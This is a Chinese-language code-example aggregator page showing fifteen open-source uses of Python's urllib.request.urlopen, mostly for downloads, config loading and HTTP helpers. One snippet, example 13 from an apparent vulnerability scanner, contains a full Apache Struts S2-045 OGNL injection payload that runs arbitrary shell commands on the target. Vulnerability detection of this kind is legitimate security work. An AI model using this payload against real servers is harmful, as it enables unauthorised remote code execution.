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Python request.urlopen方法代码示例

本文整理汇总了Python中urllib.request.urlopen方法的典型用法代码示例。如果您正苦于以下问题:Python request.urlopen方法的具体用法?Python request.urlopen怎么用?Python request.urlopen使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在urllib.request的用法示例。


在下文中一共展示了request.urlopen方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: refresh

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def refresh(self):
        try:
            #open the data url
            self.req = urlopen(self.data_url)

            #read data from the url
            self.raw_data = self.req.read()

            #load in the json
            self.json_data = json.loads(self.raw_data.decode())

            #get time from json
            self.time = datetime.fromtimestamp(self.parser.time(self.json_data))

            #load all the aircarft
            self.aircraft = self.parser.aircraft_data(self.json_data, self.time)

        except Exception:
            print("exception in FlightData.refresh():")
            traceback.print_exc() 
开发者ID:kevinabrandon,项目名称:AboveTustin,代码行数:22,代码来源:flightdata.py

示例2: get_plugin_config

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def get_plugin_config(config_uri):
    """
    Downloads/opens configuration yaml file, returns
    dict of Galaxy plugins
    """
    # Try to open the URI as a URL or fall back to opening local file
    try:
        config_uri_parsed = urlparse(config_uri)
        if config_uri_parsed.scheme in ['https', 'http']:
            url = urlopen(config_uri)
            yaml_data = url.read()
        else:
            with open(config_uri, 'r') as file_data:
                yaml_data = file_data.read()
    except URLError as e:
        print(e)

    # Parse the YAML configuration
    try:
        plugin_data = yaml.safe_load(yaml_data)

        return plugin_data['plugins']
    except yaml.YAMLError as e:
        print(e) 
开发者ID:Slashbunny,项目名称:gog-galaxy-plugin-downloader,代码行数:26,代码来源:download.py

示例3: run

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def run(self):
		request = self.request
		try:
			if ((timeit.default_timer() - self.starttime) <= self.timeout and
					not SHUTDOWN_EVENT.isSet()):
				try:
					f = urlopen(request)
				except TypeError:
					# PY24 expects a string or buffer
					# This also causes issues with Ctrl-C, but we will concede
					# for the moment that Ctrl-C on PY24 isn't immediate
					request = build_request(self.request.get_full_url(),
											data=request.data.read(self.size))
					f = urlopen(request)
				f.read(11)
				f.close()
				self.result = sum(self.request.data.total)
			else:
				self.result = 0
		except (IOError, SpeedtestUploadTimeout):
			self.result = sum(self.request.data.total) 
开发者ID:NatanaelAntonioli,项目名称:L.E.S.M.A,代码行数:23,代码来源:L.E.S.M.A. - Fabrica de Noobs Speedtest.py

示例4: download_image

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_image(image_id, url, x1, y1, x2, y2, output_dir):
    """Downloads one image, crops it, resizes it and saves it locally."""
    output_filename = os.path.join(output_dir, image_id + '.png')
    if os.path.exists(output_filename):
        # Don't download image if it's already there
        return True
    try:
        # Download image
        url_file = urlopen(url)
        if url_file.getcode() != 200:
            return False
        image_buffer = url_file.read()
        # Crop, resize and save image
        image = Image.open(BytesIO(image_buffer)).convert('RGB')
        w = image.size[0]
        h = image.size[1]
        image = image.crop((int(x1 * w), int(y1 * h), int(x2 * w),
                            int(y2 * h)))
        image = image.resize((299, 299), resample=Image.ANTIALIAS)
        image.save(output_filename)
    except IOError:
        return False
    return True 
开发者ID:StephanZheng,项目名称:neural-fingerprinting,代码行数:25,代码来源:download_images.py

示例5: test_connection

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def test_connection(name, url, timeout=10):
    """Simple connection test"""
    urlinfo = urlparse(url)
    start = time.time()
    try:
        ip = socket.gethostbyname(urlinfo.netloc)
    except Exception as e:
        print('Error resolving DNS for {}: {}, {}'.format(name, url, e))
        return
    dns_elapsed = time.time() - start
    start = time.time()
    try:
        _ = urlopen(url, timeout=timeout)
    except Exception as e:
        print("Error open {}: {}, {}, DNS finished in {} sec.".format(name, url, e, dns_elapsed))
        return
    load_elapsed = time.time() - start
    print("Timing for {}: {}, DNS: {:.4f} sec, LOAD: {:.4f} sec.".format(name, url, dns_elapsed, load_elapsed)) 
开发者ID:awslabs,项目名称:dynamic-training-with-apache-mxnet-on-aws,代码行数:20,代码来源:diagnose.py

示例6: get_sdf

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def get_sdf(self):
        """Function to return the SDF (structure-data file) of the PubChem object."""
        from urllib.request import urlopen, Request
        from urllib.parse import quote
        from urllib.error import URLError

        if len(self.dataSDF) == 0:
            url = "https://pubchem.ncbi.nlm.nih.gov/rest/pug/compound/cid/{}/SDF?record_type=3d".format(
                quote(str(self.cid))
            )
            req = Request(url, headers={"Accept": "chemical/x-mdl-sdfile"})
            try:
                self.dataSDF = urlopen(req).read().decode("utf-8")
            except URLError as e:
                msg = "Unable to open\n\n%s\n\ndue to the error\n\n%s\n\n" % (url, e)
                msg += "It is possible that 3D information does not exist for this molecule in the PubChem database\n"
                print(msg)
                raise ValidationError(msg)
        return self.dataSDF 
开发者ID:MolSSI,项目名称:QCElemental,代码行数:21,代码来源:pubchem.py

示例7: download_dataset

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_dataset(path, source='https://www.cs.toronto.edu/~kriz/'
                                  'cifar-10-python.tar.gz'):
    """
    Downloads and extracts the dataset, if needed.
    """
    files = ['data_batch_%d' % (i + 1) for i in range(5)] + ['test_batch']
    for fn in files:
        if not os.path.exists(os.path.join(path, 'cifar-10-batches-py', fn)):
            break  # at least one file is missing
    else:
        return  # dataset is already complete

    print("Downloading and extracting %s into %s..." % (source, path))
    if sys.version_info[0] == 2:
        from urllib import urlopen
    else:
        from urllib.request import urlopen
    import tarfile
    if not os.path.exists(path):
        os.makedirs(path)
    u = urlopen(source)
    with tarfile.open(fileobj=u, mode='r|gz') as f:
        f.extractall(path=path)
    u.close() 
开发者ID:Lasagne,项目名称:Recipes,代码行数:26,代码来源:cifar10.py

示例8: hanlp_releases

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def hanlp_releases(cache=True):
    global HANLP_RELEASES
    if cache and HANLP_RELEASES:
        return HANLP_RELEASES
    # print('Request GitHub API')
    req = urllib.Request('http://nlp.hankcs.com/download.php?file=version')
    req.add_header('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36')
    if PY == 3:
        content = urllib.urlopen(req).read()
    else:
        content = urllib.urlopen(req).read()
    content = json.loads(content.decode())
    jar_version, jar_url, data_version, data_url = content
    meta = [(jar_version, jar_url, data_version, data_url)]
    HANLP_RELEASES = meta
    return meta 
开发者ID:hankcs,项目名称:pyhanlp,代码行数:18,代码来源:__init__.py

示例9: _http_request

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def _http_request(url, headers=None, time_out=10):
    """Perform an HTTP request and return request"""
    log(0, 'Request URL: {url}', url=url)

    try:
        if headers:
            request = Request(url, headers=headers)
        else:
            request = Request(url)
        req = urlopen(request, timeout=time_out)
        log(0, 'Response code: {code}', code=req.getcode())
        if 400 <= req.getcode() < 600:
            raise HTTPError('HTTP %s Error for url: %s' % (req.getcode(), url), response=req)
    except (HTTPError, URLError) as err:
        log(2, 'Download failed with error {}'.format(err))
        if yesno_dialog(localize(30004), '{line1}\n{line2}'.format(line1=localize(30063), line2=localize(30065))):  # Internet down, try again?
            return _http_request(url, headers, time_out)
        return None

    return req 
开发者ID:emilsvennesson,项目名称:script.module.inputstreamhelper,代码行数:22,代码来源:utils.py

示例10: download_dataset

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_dataset(dataset, files, data_dir):
    """ Downloads dataset if files are not present. """

    if not np.all([os.path.isfile(data_dir + f) for f in files]):
        url = "http://files.grouplens.org/datasets/movielens/" + dataset.replace('_', '-') + '.zip'
        request = urlopen(url)

        print('Downloading %s dataset' % dataset)

        if dataset in ['ml_100k', 'ml_1m']:
            target_dir = 'raw_data/' + dataset.replace('_', '-')
        elif dataset == 'ml_10m':
            target_dir = 'raw_data/' + 'ml-10M100K'
        else:
            raise ValueError('Invalid dataset option %s' % dataset)

        with ZipFile(BytesIO(request.read())) as zip_ref:
            zip_ref.extractall('raw_data/')

        os.rename(target_dir, data_dir)
        #shutil.rmtree(target_dir) 
开发者ID:muhanzhang,项目名称:IGMC,代码行数:23,代码来源:data_utils.py

示例11: HTML

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def HTML(self, check):
        try:
            if self.UserAgent != None:
                page_html = urlopen(Request(
                        self.target_url,
                        headers={"User-Agent":self.UserAgent}),
                        timeout=self.TimeOut).read().decode("utf-8")

            #If not, the default will be used
            else:
                page_html = urlopen(
                        self.target_url,
                        timeout=self.TimeOut).read().decode("utf-8")

        except HTTPError:
            page_html = "Can't get page source code"

        if self.verbose == True:
            print(" [+] Source code got from %s" % self.target_url)
            print("----START" + "-"*71)
            print(page_html)
            print("----END" + "-"*73)

        return(page_html) 
开发者ID:fnk0c,项目名称:dot2moon,代码行数:26,代码来源:connection.py

示例12: post

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def post(self, payload, request_par):
        data = parse.urlencode(request_par).encode()

        if self.UserAgent != None:
            req = Request(
                    self.target_url,
                    data=data, 
                    headers={"User-Agent":self.UserAgent})
            conn = urlopen(req, timeout=self.TimeOut)
        else:
            conn = urlopen(self.target_url,
                    data=data,
                    timeout=self.TimeOut)

        html = conn.read().decode("utf-8")
        page_size = len(html)

        if self.verbose == True:
            print(" [+] Source code got from %s" % payload)
            print("----START" + "-"*71)
            print(html)
            print("----END" + "-"*73)
        
        return(self.target_url, page_size, html, payload) 
开发者ID:fnk0c,项目名称:dot2moon,代码行数:26,代码来源:connection.py

示例13: st045

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def st045(self):
        try:
            cmd = self.linux
            header = dict()
            header[
                "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
            header[
                "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + cmd + "'):(#cmd='" + cmd + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            r = request.Request(self.url, headers=header)
            text = request.urlopen(r).read()
        except http.client.IncompleteRead as e:
            text = e.partial
        except Exception:
            pass
        if 'text' in locals().keys():
            self.random = str(self.random)
            if self.random.encode('utf-8') in text and len(text) < 15:
                self.result.append('Apache S2-045 Vulnerability: ' + self.url) 
开发者ID:al0ne,项目名称:Vxscan,代码行数:20,代码来源:apache_struts_all.py

示例14: download_metadata_file

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def download_metadata_file(url, outputdir, program):
    """Download and unzip the catalogue files."""
    zipped_index_path = os.path.join(outputdir, 'index_' + program + '.csv.gz')
    if not os.path.isfile(zipped_index_path):
        if not os.path.exists(os.path.dirname(zipped_index_path)):
            os.makedirs(os.path.dirname(zipped_index_path))
        print("Downloading Metadata file...")
        content = urlopen(url)
        with open(zipped_index_path, 'wb') as f:
            shutil.copyfileobj(content, f)
    index_path = os.path.join(outputdir, 'index_' + program + '.csv')
    if not os.path.isfile(index_path):
        print("Unzipping Metadata file...")
        with gzip.open(zipped_index_path) as gzip_index, open(index_path, 'wb') as f:
            shutil.copyfileobj(gzip_index, f)
    return index_path 
开发者ID:vascobnunes,项目名称:fetchLandsatSentinelFromGoogleCloud,代码行数:18,代码来源:fels.py

示例15: http_request

# 需要导入模块: from urllib import request [as 别名]
# 或者: from urllib.request import urlopen [as 别名]
def http_request(url, data=None, timeout=30):
    log.debug("Requesting URL: %s" % url)
    data = urlencode(data).encode('utf8') if data else None
    try:
        response = urlopen(url, data=data, timeout=timeout)
        return {'success':True, 'response':response, 'url':url}
    except Exception as err:
        log.error("Error requesting URL: %s; %s" % (url, err))
        return {'success':False, 'error':err, 'url':url} 
开发者ID:pkkid,项目名称:pkmeter,代码行数:11,代码来源:utils.py


注:本文中的urllib.request.urlopen方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。